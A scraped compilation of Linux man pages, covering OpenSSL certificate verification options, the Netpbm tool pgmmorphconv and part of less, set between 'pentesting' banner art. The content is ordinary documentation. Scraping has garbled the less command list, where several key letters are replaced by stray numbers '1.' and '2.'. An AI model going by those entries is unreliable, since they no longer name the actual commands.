  • If the subject certificate has an authority key identifier extension, each of its sub-fields equals the corresponding subject key identifier, serial number, and issuer field of the candidate issuer certificate, as far as the respective fields are present in both certificates.

  • The certificate signature algorithm used to sign the subject certificate is supported and equals the public key algorithm of the candidate issuer certificate.

The lookup first searches for issuer certificates in the trust store. If it does not find a match there it consults the list of untrusted (“intermediate” CA) certificates, if provided.

Certification Path Validation

When the certificate chain building process was successful the chain components and their links are checked thoroughly.

The first step is to check that each certificate is well-formed. Part of these checks are enabled only if the -x509_strict option is given.

The second step is to check the extensions of every untrusted certificate for consistency with the supplied purpose. If the -purpose option is not given then no such checks are done except for SSL/TLS connection setup, where by default sslserver or sslclient, are checked. The target or “leaf” certificate, as well as any other untrusted certificates, must have extensions compatible with the specified purpose. All certificates except the target or “leaf” must also be valid CA certificates. The precise extensions required are described in more detail in “CERTIFICATE EXTENSIONS” in openssl-x509 (1).

The third step is to check the trust settings on the last certificate (which typically is a self-signed root CA certificate). It must be trusted for the given use. For compatibility with previous versions of OpenSSL, a self-signed certificate with no trust attributes is considered to be valid for all uses.

The fourth, and final, step is to check the validity of the certificate chain. For each element in the chain, including the root CA certificate, the validity period as specified by the notBefore and notAfter fields is checked against the current system time. The -attime flag may be used to use a reference time other than “now.” The certificate signature is checked as well (except for the signature of the typically self-signed root CA certificate, which is verified only if the -check_ss_sig option is given). When verifying a certificate signature the keyUsage extension (if present) of the candidate issuer certificate is checked to permit digitalSignature for signing proxy certificates or to permit keyCertSign for signing other certificates, respectively. If all operations complete successfully then certificate is considered valid. If any operation fails then the certificate is not valid.

OPTIONS

Trusted Certificate Options

The following options specify how to supply the certificates that can be used as trust anchors for certain uses. As mentioned, a collection of such certificates is called a trust store.

Note that OpenSSL does not provide a default set of trust anchors. Many Linux distributions include a system default and configure OpenSSL to point to that. Mozilla maintains an influential trust store that can be found at <https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/>.

The certificates to add to the trust store can be specified using following options.

-CAfile file
Load the specified file which contains a trusted certificate in DER format or potentially several of them in case the input is in PEM format. PEM-encoded certificates may also have trust attributes set.

-no-CAfile
Do not load the default file of trusted certificates.

-CApath dir
Use the specified directory as a collection of trusted certificates, i.e., a trust store. Files should be named with the hash value of the X.509 SubjectName of each certificate. This is so that the library can extract the IssuerName, hash it, and directly lookup the file to get the issuer certificate. See openssl-rehash (1) for information on creating this type of directory.

-no-CApath
Do not use the default directory of trusted certificates.

-CAstore uri
Use uri as a store of CA certificates. The URI may indicate a single certificate, as well as a collection of them. With URIs in the file: scheme, this acts as -CAfile or -CApath, depending on if the URI indicates a single file or directory. See ossl_store-file (7) for more information on the file: scheme. These certificates are also used when building the server certificate chain (for example with openssl-s_server (1)) or client certificate chain (for example with openssl-s_time (1)).

-no-CAstore
Do not use the default store of trusted CA certificates.

Verification Options

The certificate verification can be fine-tuned with the following flags.

-verbose
Print extra information about the operations being performed.

-attime timestamp
Perform validation checks using time specified by timestamp and not current system time. timestamp is the number of seconds since January 1, 1970 (i.e., the Unix Epoch).

-no_check_time
This option suppresses checking the validity period of certificates and CRLs against the current time. If option -attime is used to specify a verification time, the check is not suppressed.

-x509_strict
This disables non-compliant workarounds for broken certificates. Thus errors are thrown on certificates not compliant with RFC 5280. When this option is set, among others, the following certificate well-formedness conditions are checked:

  • The basicConstraints of CA certificates must be marked critical.

  • CA certificates must explicitly include the keyUsage extension.

  • If a pathlenConstraint is given the key usage keyCertSign must be allowed.

  • The pathlenConstraint must not be given for non-CA certificates.

  • The issuer name of any certificate must not be empty.

  • The subject name of CA certs, certs with keyUsage crlSign, and certs without subjectAlternativeName must not be empty.

  • If a subjectAlternativeName extension is given it must not be empty.

  • The signatureAlgorithm field and the cert signature must be consistent.

  • Any given authorityKeyIdentifier and any given subjectKeyIdentifier must not be marked critical.

  • The authorityKeyIdentifier must be given for X.509v3 certs unless they are self-signed.

  • The subjectKeyIdentifier must be given for all X.509v3 CA certs.

-ignore_critical
Normally if an unhandled critical extension is present that is not supported by OpenSSL the certificate is rejected (as required by RFC5280). If this option is set critical extensions are ignored.

-issuer_checks
Ignored.

-crl_check
Checks end entity certificate validity by attempting to look up a valid CRL. If a valid CRL cannot be found an error occurs.

-crl_check_all
Checks the validity of all certificates in the chain by attempting to look up valid CRLs.

-use_deltas
Enable support for delta CRLs.

-extended_crl
Enable extended CRL features such as indirect CRLs and alternate CRL signing keys.

-suiteB_128_only, -suiteB_128, -suiteB_192
Enable the Suite B mode operation at 128 bit Level of Security, 128 bit or 192 bit, or only 192 bit Level of Security respectively. See RFC6460 for details. In particular the supported signature algorithms are reduced to support only ECDSA and SHA256 or SHA384 and only the elliptic curves P-256 and P-384.

-auth_level level
Set the certificate chain authentication security level to level. The authentication security level determines the acceptable signature and public key strength when verifying certificate chains. For a certificate chain to validate, the public keys of all the certificates must meet the specified security level. The signature algorithm security level is enforced for all the certificates in the chain except for the chain’s trust anchor, which is either directly trusted or validated by means other than its signature. See SSL_CTX_set_security_level (3) for the definitions of the available levels. The default security level is -1, or “not set”. At security level 0 or lower all algorithms are acceptable. Security level 1 requires at least 80-bit-equivalent security and is broadly interoperable, though it will, for example, reject MD5 signatures or RSA keys shorter than 1024 bits.

-partial_chain
Allow verification to succeed if an incomplete chain can be built. That is, a chain ending in a certificate that normally would not be trusted (because it has no matching positive trust attributes and is not self-signed) but is an element of the trust store. This certificate may be self-issued or belong to an intermediate CA.

-check_ss_sig
Verify the signature of the last certificate in a chain if the certificate is supposedly self-signed. This is prohibited and will result in an error if it is a non-conforming CA certificate with key usage restrictions not including the keyCertSign bit. This verification is disabled by default because it doesn’t add any security.

-allow_proxy_certs
Allow the verification of proxy certificates.

-trusted_first
As of OpenSSL 1.1.0 this option is on by default and cannot be disabled. When constructing the certificate chain, the trusted certificates specified via -CAfile, -CApath, -CAstore or -trusted are always used before any certificates specified via -untrusted.

-no_alt_chains
As of OpenSSL 1.1.0, since -trusted_first always on, this option has no effect.

-trusted file
Parse file as a set of one or more certificates. Each of them qualifies as trusted if has a suitable positive trust attribute or it is self-signed or the -partial_chain option is specified. This option implies the -no-CAfile, -no-CApath, and -no-CAstore options and it cannot be used with the -CAfile, -CApath or -CAstore options, so only certificates specified using the -trusted option are trust anchors. This option may be used multiple times.

-untrusted file
Parse file as a set of one or more certificates. All certificates (typically of intermediate CAs) are considered untrusted and may be used to construct a certificate chain from the target certificate to a trust anchor. This option may be used multiple times.

-policy arg
Enable policy processing and add arg to the user-initial-policy-set (see RFC5280). The policy arg can be an object name an OID in numeric form. This argument can appear more than once.

-explicit_policy
Set policy variable require-explicit-policy (see RFC5280).

-policy_check
Enables certificate policy processing.

-policy_print
Print out diagnostics related to policy processing.

-inhibit_any
Set policy variable inhibit-any-policy (see RFC5280).

-inhibit_map
Set policy variable inhibit-policy-mapping (see RFC5280).

-purpose purpose
The intended use for the certificate. Currently defined purposes are sslclient, sslserver, nssslserver, smimesign, smimeencrypt, crlsign, ocsphelper, timestampsign, codesign and any. If peer certificate verification is enabled, by default the TLS implementation as well as the commands s_client and s_server check for consistency with TLS server or TLS client use, respectively. While IETF RFC 5280 says that id-kp-serverAuth and id-kp-clientAuth are only for WWW use, in practice they are used for all kinds of TLS clients and servers, and this is what OpenSSL assumes as well.

-verify_depth num
Limit the certificate chain to num intermediate CA certificates. A maximal depth chain can have up to num+2 certificates, since neither the end-entity certificate nor the trust-anchor certificate count against the -verify_depth limit.

-verify_email email
Verify if email matches the email address in Subject Alternative Name or the email in the subject Distinguished Name.

-verify_hostname hostname
Verify if hostname matches DNS name in Subject Alternative Name or Common Name in the subject certificate.

-verify_ip ip
Verify if ip matches the IP address in Subject Alternative Name of the subject certificate.

-verify_name name
Use default verification policies like trust model and required certificate policies identified by name. The trust model determines which auxiliary trust or reject OIDs are applicable to verifying the given certificate chain. They can be given using the -addtrust and -addreject options for openssl-x509 (1). Supported policy names include: default, pkcs7, smime_sign, ssl_client, ssl_server. These mimics the combinations of purpose and trust settings used in SSL, CMS and S/MIME. As of OpenSSL 1.1.0, the trust model is inferred from the purpose when not specified, so the -verify_name options are functionally equivalent to the corresponding -purpose settings.

Extended Verification Options

Sometimes there may be more than one certificate chain leading to an end-entity certificate. This usually happens when a root or intermediate CA signs a certificate for another a CA in other organization. Another reason is when a CA might have intermediates that use two different signature formats, such as a SHA-1 and a SHA-256 digest.

The following options can be used to provide data that will allow the OpenSSL command to generate an alternative chain.

-xkey infile, -xcert infile, -xchain
Specify an extra certificate, private key and certificate chain. These behave in the same manner as the -cert, -key and -cert_chain options. When specified, the callback returning the first valid chain will be in use by the client.

-xchain_build
Specify whether the application should build the certificate chain to be provided to the server for the extra certificates via the -xkey, -xcert, and -xchain options.

-xcertform DER|PEM|P12
The input format for the extra certificate. This option has no effect and is retained for backward compatibility only.

-xkeyform DER|PEM|P12
The input format for the extra key. This option has no effect and is retained for backward compatibility only.

Certificate Extensions

Options like -purpose lead to checking the certificate extensions, which determine what the target certificate and intermediate CA certificates can be used for.

Basic Constraints

The basicConstraints extension CA flag is used to determine whether the certificate can be used as a CA. If the CA flag is true then it is a CA, if the CA flag is false then it is not a CA. All CAs should have the CA flag set to true.

If the basicConstraints extension is absent, which includes the case that it is an X.509v1 certificate, then the certificate is considered to be a “possible CA” and other extensions are checked according to the intended use of the certificate. The treatment of certificates without basicConstraints as a CA is presently supported, but this could change in the future.

Key Usage

If the keyUsage extension is present then additional restraints are made on the uses of the certificate. A CA certificate must have the keyCertSign bit set if the keyUsage extension is present.

Extended Key Usage

The extKeyUsage (EKU) extension places additional restrictions on the certificate uses. If this extension is present (whether critical or not) the key can only be used for the purposes specified.

A complete description of each check is given below. The comments about basicConstraints and keyUsage and X.509v1 certificates above apply to all CA certificates.

SSL Client
The extended key usage extension must be absent or include the “web client authentication” OID. The keyUsage extension must be absent or it must have the digitalSignature bit set. The Netscape certificate type must be absent or it must have the SSL client bit set.

SSL Client CA
The extended key usage extension must be absent or include the “web client authentication” OID. The Netscape certificate type must be absent or it must have the SSL CA bit set. This is used as a work around if the basicConstraints extension is absent.

SSL Server
The extended key usage extension must be absent or include the “web server authentication” and/or one of the SGC OIDs. The keyUsage extension must be absent or it must have the digitalSignature, the keyEncipherment set or both bits set. The Netscape certificate type must be absent or have the SSL server bit set.

SSL Server CA
The extended key usage extension must be absent or include the “web server authentication” and/or one of the SGC OIDs. The Netscape certificate type must be absent or the SSL CA bit must be set. This is used as a work around if the basicConstraints extension is absent.

Netscape SSL Server
For Netscape SSL clients to connect to an SSL server it must have the keyEncipherment bit set if the keyUsage extension is present. This isn’t always valid because some cipher suites use the key for digital signing. Otherwise it is the same as a normal SSL server.

Common S/MIME Client Tests
The extended key usage extension must be absent or include the “email protection” OID. The Netscape certificate type must be absent or should have the S/MIME bit set. If the S/MIME bit is not set in the Netscape certificate type then the SSL client bit is tolerated as an alternative but a warning is shown. This is because some Verisign certificates don’t set the S/MIME bit.

S/MIME Signing
In addition to the common S/MIME client tests the digitalSignature bit or the nonRepudiation bit must be set if the keyUsage extension is present.

S/MIME Encryption
In addition to the common S/MIME tests the keyEncipherment bit must be set if the keyUsage extension is present.

S/MIME CA
The extended key usage extension must be absent or include the “email protection” OID. The Netscape certificate type must be absent or must have the S/MIME CA bit set. This is used as a work around if the basicConstraints extension is absent.

CRL Signing
The keyUsage extension must be absent or it must have the CRL signing bit set.

CRL Signing CA
The normal CA tests apply. Except in this case the basicConstraints extension must be present.

BUGS

The issuer checks still suffer from limitations in the underlying X509_LOOKUP API. One consequence of this is that trusted certificates with matching subject name must appear in a file (as specified by the -CAfile option), a directory (as specified by -CApath), or a store (as specified by -CAstore). If there are multiple such matches, possibly in multiple locations, only the first one (in the mentioned order of locations) is recognised.

SEE ALSO

X509_verify_cert (3), openssl-verify (1), openssl-ocsp (1), openssl-ts (1), openssl-s_client (1), openssl-s_server (1), openssl-smime (1), openssl-cmp (1), openssl-cms (1)

HISTORY

The checks enabled by -x509_strict have been extended in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2247 - Linux cli command pgmmorphconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmmorphconv and provides detailed information about the command pgmmorphconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmmorphconv.

.

NAME 🖥️ pgmmorphconv 🖥️

perform morphological convolutions: dilation, erosion

SYNOPSIS

pgmmorphconv [ -erode | -dilate | -open | -close | -gradient ] templatefile [pgmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmmorphconv performs morphological convolutions on a PGM image: dilation and erosion.

pgmmorphconv performs a “topological” convolution. For each pixel of the input, pgmmorphconv generates an output pixel in the same position. To determine the intensity of the output pixel, pgmmorphconv lays the template image over the input image such that the middle pixel of the template is over the input pixel in question. pgmmorphconv looks at the input pixels underneath each white pixel in the template. For a dilation, the maximum intensity of all those pixels is the intensity of the output pixel. For an erosion, it is the minimum.

Thus, the dilation effect is that bright areas of the input get bigger and dark areas smaller. The erosion effect is the opposite. The simplest template image would be one with a white pixel in the middle and the rest black. This would produce an output image identical to the input. Another simple template image is a fully white square. This causes bright or dark areas to expand in all directions. A template image that is white on the left side and black on the right would smear the image to the right.

The template file named by templatefile contains the template image as a PBM image. It must have an odd number of rows and an odd number of columns, so there is a definite middle pixel. It must contain at least one white pixel.

This is similar to the continuous convolution done by pnmconvol, except that with pnmconvol the output intensity is a weighted average of nearby input pixels instead of a minimum or maximum.

This convolution changes the three Minkowski integrals in a predefined way, and can be used to filter an image to enhance certain features, to ease their automatic recognition.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmmorphconv recognizes the following command line options:

The options -erode and -dilate obviously produce an erosion or dilation, respectively.

The -open option causes pgmmorphconv to perform first an erode and then a dilate operation. The -close option causes a dilate first and then an erode. If you specify none of these options, it is the same as -dilate.

With -gradient, pgmmorphconv produces an image which is the difference between the eroded image and the dilated image. -gradient was new in Netpbm 10.70 (March 2015).

SEE ALSO

  • pgmminkowski(1)

  • pnmconvol(1)

  • pgm(1)

For more information about morphological convolutions, see e.g.

AUTHORS

Luuk van Dijk, 2001.

Based on work which is Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmmorphconv.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2248 - Linux cli command less

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command less and provides detailed information about the command less, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the less.

NAME 🖥️ less 🖥️

opposite of more

SYNOPSIS

less -?
less –help
less -V
less –version
less [-[+]aABcCdeEfFgGiIJKLmMnNqQrRsSuUVwWX~]
[-b space] [-h lines] [-j line] [-k keyfile]
[-{oO} logfile] [-p pattern] [-P prompt] [-t tag]
[-T tagsfile] [-x tab,…] [-y lines] [-[z] lines]
[-# shift] [+[+]cmd] [–] [filename]…
(See the OPTIONS section for alternate option syntax with long option names.)

DESCRIPTION

Less is a program similar to more(1), but which allows backward movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi(1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. (On a hardcopy terminal, lines which should be printed at the top of the screen are prefixed with a caret.)

Commands are based on both more and vi. Commands may be preceded by a decimal number, called N in the descriptions below. The number is used by some commands, as indicated.

COMMANDS

In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key; for example ESC-v means the two character sequence “ESCAPE”, then “v”.

h or H
Help: display a summary of these commands. If you forget all the other commands, remember this one.

SPACE or ^V or f or ^F
Scroll forward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. Warning: some systems use ^V as a special literalization character.

  1. Like SPACE, but if N is specified, it becomes the new window size.

ESC-SPACE
Like SPACE, but scrolls a full screenful, even if it reaches end-of-file in the process.

ENTER or RETURN or ^N or e or ^E or j or ^J
Scroll forward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size.

d or ^D
Scroll forward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

b or ^B or ESC-v
Scroll backward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed.

  1. Like ESC-v, but if N is specified, it becomes the new window size.

y or ^Y or ^P or k or ^K
Scroll backward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. Warning: some systems use ^Y as a special job control character.

u or ^U
Scroll backward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

  1. Like j, but continues to scroll beyond the end of the file.

K or Y
Like k, but continues to scroll beyond the beginning of the file.

ESC-) or RIGHTARROW
Scroll horizontally right N characters, default half the screen width (see the -# option). If a number N is specified, it becomes the default for future RIGHTARROW and LEFTARROW commands. While the text is scrolled, it acts as though the -S option (chop lines) were in effect.

ESC-( or LEFTARROW
Scroll horizontally left N characters, default half the screen width (see the -# option). If a number N is specified, it becomes the default for future RIGHTARROW and LEFTARROW commands.

ESC-} or ^RIGHTARROW
Scroll horizontally right to show the end of the longest displayed line.

ESC-{ or ^LEFTARROW
Scroll horizontally left back to the first column.

r or ^R or ^L
Repaint the screen.

  1. Repaint the screen, discarding any buffered input. That is, reload the current file. Useful if the file is changing while it is being viewed.

  2. Scroll forward, and keep trying to read when the end of file is reached. Normally this command would be used when already at the end of the file. It is a way to monitor the tail of a file which is growing while it is being viewed. (The behavior is similar to the “tail -f” command.) To stop waiting for more data, enter the interrupt character (usually ^C). On systems which support poll(2) you can also use ^X or the character specified by the –intr option. If the input is a pipe and the –exit-follow-on-close option is in effect, less will automatically stop waiting for data when the input side of the pipe is closed.

ESC-F
Like F, but as soon as a line is found which matches the last search pattern, the terminal bell is rung and forward scrolling stops.

g or < or ESC-<
Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow if N is large.)

G or > or ESC->
Go to line N in the file, default the end of the file. (Warning: this may be slow if N is large, or if N is not specified and standard input, rather than a file, is being read.)

ESC-G
Same as G, except if no number N is specified and the input is standard input, goes to the last line which is currently buffered.

p or %
Go to a position N percent into the file. N should be between 0 and 100, and may contain a decimal point.

  1. Go to the line containing byte offset N in the file.

{
If a left curly bracket appears in the top line displayed on the screen, the { command will go to the matching right curly bracket. The matching right curly bracket is positioned on the bottom line of the screen. If there is more than one left curly bracket on the top line, a number N may be used to specify the N-th bracket on the line.

}
If a right curly bracket appears in the bottom line displayed on the screen, the } command will go to the matching left curly bracket. The matching left curly bracket is positioned on the top line of the screen. If there is more than one right curly bracket on the bottom line, a number N may be used to specify the N-th bracket on the line.

(
Like {, but applies to parentheses rather than curly brackets.

)
Like }, but applies to parentheses rather than curly brackets.

[
Like {, but applies to square brackets rather than curly brackets.

]
Like }, but applies to square brackets rather than curly brackets.

ESC-^F
Followed by two characters, acts like {, but uses the two characters as open and close brackets, respectively. For example, “ESC ^F < >” could be used to go forward to the > which matches the < in the top displayed line.

ESC-^B
Followed by two characters, acts like }, but uses the two characters as open and close brackets, respectively. For example, “ESC ^B < >” could be used to go backward to the < which matches the > in the bottom displayed line.

  1. Followed by any lowercase or uppercase letter, marks the first displayed line with that letter. If the status column is enabled via the -J option, the status column shows the marked line.
  1. Acts like m, except the last displayed line is marked rather than the first displayed line.


(Single quote.) Followed by any lowercase or uppercase letter, returns to the position which was previously marked with that letter. Followed by another single quote, returns to the position at which the last “large” movement command was executed. Followed by a ^ or $, jumps to the beginning or end of the file respectively. Marks are preserved when a new file is examined, so the ’ command can be used to switch between input files.

^X^X
Same as single quote.

ESC-m
Followed by any lowercase or uppercase letter, clears the mark identified by that letter.

/pattern
Search forward in the file for the N-th line containing the pattern. N defaults to 1. The pattern is a regular expression, as recognized by the regular expression library supplied by your system. By default, searching is case-sensitive (uppercase and lowercase are considered different); the -i option can be used to change this. The search starts at the first line displayed (but see the -a and -j options, which change this).

Certain characters are special if entered at the beginning of the pattern; they modify the type of search rather than become part of the pattern:

^N or !
Search for lines which do NOT match the pattern.

^E or *
Search multiple files. That is, if the search reaches the END of the current file without finding a match, the search continues in the next file in the command line list.

^F or @
Begin the search at the first line of the FIRST file in the command line list, regardless of what is currently displayed on the screen or the settings of the -a or -j options.

^K
Highlight any text which matches the pattern on the current screen, but don’t move to the first match (KEEP current position).

^R
Don’t interpret regular expression metacharacters; that is, do a simple textual comparison.

^S
Followed by a digit N between 1 and 5. Only text which has a non-empty match for the N-th parenthesized SUB-PATTERN will be considered to match the pattern. (Supported only if less is built with one of the regular expression libraries posix, pcre, or pcre2.) Multiple ^S modifiers can be specified, to match more than one sub-pattern.

^W
WRAP around the current file. That is, if the search reaches the end of the current file without finding a match, the search continues from the first line of the current file up to the line where it started. If the ^W modifier is set, the ^E modifier is ignored.

?pattern
Search backward in the file for the N-th line containing the pattern. The search starts at the last line displayed (but see the -a and -j options, which change this).

Certain characters are special as in the / command:

^N or !
Search for lines which do NOT match the pattern.

^E or *
Search multiple files. That is, if the search reaches the beginning of the current file without finding a match, the search continues in the previous file in the command line list.

^F or @
Begin the search at the last line of the last file in the command line list, regardless of what is currently displayed on the screen or the settings of the -a or -j options.

^K
As in forward searches.

^R
As in forward searches.

^S
As in forward searches.

^W
WRAP around the current file. That is, if the search reaches the beginning of the current file without finding a match, the search continues from the last line of the current file up to the line where it started.

ESC-/pattern
Same as “/*”.

ESC-?pattern
Same as “?*”.

  1. Repeat previous search, for N-th line containing the last pattern. If the previous search was modified by ^N, the search is made for the N-th line NOT containing the pattern. If the previous search was modified by ^E, the search continues in the next (or previous) file if not satisfied in the current file. If the previous search was modified by ^R, the search is done without using regular expressions. There is no effect if the previous search was modified by ^F or ^K.
  1. Repeat previous search, but in the reverse direction.

ESC-n
Repeat previous search, but crossing file boundaries. The effect is as if the previous search were modified by *.

ESC-N
Repeat previous search, but in the reverse direction and crossing file boundaries.

ESC-u
Undo search highlighting. Turn off highlighting of strings matching the current search pattern. If highlighting is already off because of a previous ESC-u command, turn highlighting back on. Any search command will also turn highlighting back on. (Highlighting can also be disabled by toggling the -G option; in that case search commands do not turn highlighting back on.)

ESC-U
Like ESC-u but also clears the saved search pattern. If the status column is enabled via the -J option, this clears all search matches marked in the status column.

&pattern
Display only lines which match the pattern; lines which do not match the pattern are not displayed. If pattern is empty (if you type & immediately followed by ENTER), any filtering is turned off, and all lines are displayed. While filtering is in effect, an ampersand is displayed at the beginning of the prompt, as a reminder that some lines in the file may be hidden. Multiple & commands may be entered, in which case only lines which match all of the patterns will be displayed.

Certain characters are special as in the / command:

^N or !
Display only lines which do NOT match the pattern.

^R
Don’t interpret regular expression metacharacters; that is, do a simple textual comparison.

:e [filename]
Examine a new file. If the filename is missing, the “current” file (see the :n and :p commands below) from the list of files in the command line is re-examined. A percent sign (%) in the filename is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. However, two consecutive percent signs are simply replaced with a single percent sign. This allows you to enter a filename that contains a percent sign in the name. Similarly, two consecutive pound signs are replaced with a single pound sign. The filename is inserted into the command line list of files so that it can be seen by subsequent :n and :p commands. If the filename consists of several files, they are all inserted into the list of files and the first one is examined. If the filename contains one or more spaces, the entire filename should be enclosed in double quotes (also see the -" option).

^X^V or E
Same as :e. Warning: some systems use ^V as a special literalization character. On such systems, you may not be able to use ^V.

:n
Examine the next file (from the list of files given in the command line). If a number N is specified, the N-th next file is examined.

:p
Examine the previous file in the command line list. If a number N is specified, the N-th previous file is examined.

:x
Examine the first file in the command line list. If a number N is specified, the N-th file in the list is examined.

:d
Remove the current file from the list of files.

  1. Go to the next tag, if there were more than one matches for the current tag. See the -t option for more details about tags.
  1. Go to the previous tag, if there were more than one matches for the current tag.

= or ^G or :f
Prints some information about the file being viewed, including its name and the line number and byte offset of the bottom line being displayed. If possible, it also prints the length of the file, the number of lines in the file and the percent of the file above the last displayed line.

  • Followed by one of the command line option letters (see OPTIONS below), this will change the setting of that option and print a message describing the new setting. If a ^P (CONTROL-P) is entered immediately after the dash, the setting of the option is changed but no message is printed. If the option letter has a numeric value (such as -b or -h), or a string value (such as -P or -t), a new value may be entered after the option letter. If no new value is entered, a message describing the current setting is printed and nothing is changed.


Like the - command, but takes a long option name (see OPTIONS below) rather than a single option letter. You must press ENTER or RETURN after typing the option name. A ^P immediately after the second dash suppresses printing of a message describing the new setting, as in the - command.

-+
Followed by one of the command line option letters this will reset the option to its default setting and print a message describing the new setting. (The “-+X” command does the same thing as “-+X” on the command line.) This does not work for string-valued options.

–+
Like the -+ command, but takes a long option name rather than a single option letter.

-!
Followed by one of the command line option letters, this will reset the option to the “opposite” of its default setting and print a message describing the new setting. This does not work for numeric or string-valued options.

–!
Like the -! command, but takes a long option name rather than a single option letter.

_
(Underscore.) Followed by one of the command line option letters, this will print a message describing the current setting of that option. The setting of the option is not changed.

__
(Double underscore.) Like the _ (underscore) command, but takes a long option name rather than a single option letter. You must press ENTER or RETURN after typing the option name.

+cmd
Causes the specified cmd to be executed each time a new file is examined. For example, +G causes less to initially display each file starting at the end rather than the beginning.

  1. Prints the version number of less being run.

q or Q or :q or :Q or ZZ
Exits less.

The following six commands may or may not be valid, depending on your particular installation.

  1. Invokes an editor to edit the current file being viewed. The editor is taken from the environment variable VISUAL if defined, or EDITOR if VISUAL is not defined, or defaults to “vi” if neither VISUAL nor EDITOR is defined. See also the discussion of LESSEDIT under the section on PROMPTS below.

! shell-command
Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. “!!” repeats the last shell command. “!” with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to “sh”. On MS-DOS and OS/2 systems, the shell is the normal command processor.

# shell-command
Similar to the “!” command, except that the command is expanded in the same way as prompt strings. For example, the name of the current file would be given as “%f”.

| <m> shell-command
<m> represents any mark letter. Pipes a section of the input file to the given shell command. The section of the file to be piped is between the position marked by the letter and the current screen. The entire current screen is included, regardless of whether the marked position is before or after the current screen. <m> may also be ^ or $ to indicate beginning or end of file respectively. If <m> is . or newline, the current screen is piped.

s filename
Save the input to a file. This works only if the input is a pipe, not an ordinary file.

^X
When the “Waiting for data” message is displayed, such as while in the F command, pressing ^X will stop less from waiting and return to a prompt. This may cause less to think that the file ends at the current position, so it may be necessary to use the R or F command to see more data. The –intr option can be used to specify a different character to use instead of ^X. This command works only on systems that support the poll(2) function. On systems without poll(2), the interrupt character (usually ^C) can be used instead.

OPTIONS

Command line options are described below. Most options may be changed while less is running, via the “-” command.

Some options may be given in one of two forms: either a dash followed by a single letter, or two dashes followed by a long option name. A long option name may be abbreviated as long as the abbreviation is unambiguous. For example, –quit-at-eof may be abbreviated –quit, but not –qui, since both –quit-at-eof and –quiet begin with –qui. Some long option names are in uppercase, such as –QUIT-AT-EOF, as distinct from –quit-at-eof. Such option names need only have their first letter capitalized; the remainder of the name may be in either case. For example, –Quit-at-eof is equivalent to –QUIT-AT-EOF.

Options are also taken from the environment variable “LESS”. For example, to avoid typing “less -options …” each time less is invoked, you might tell csh:

setenv LESS “-options”

or if you use sh:

LESS="-options"; export LESS

On MS-DOS, you don’t need the quotes, but you should replace any percent signs in the options string by double percent signs.

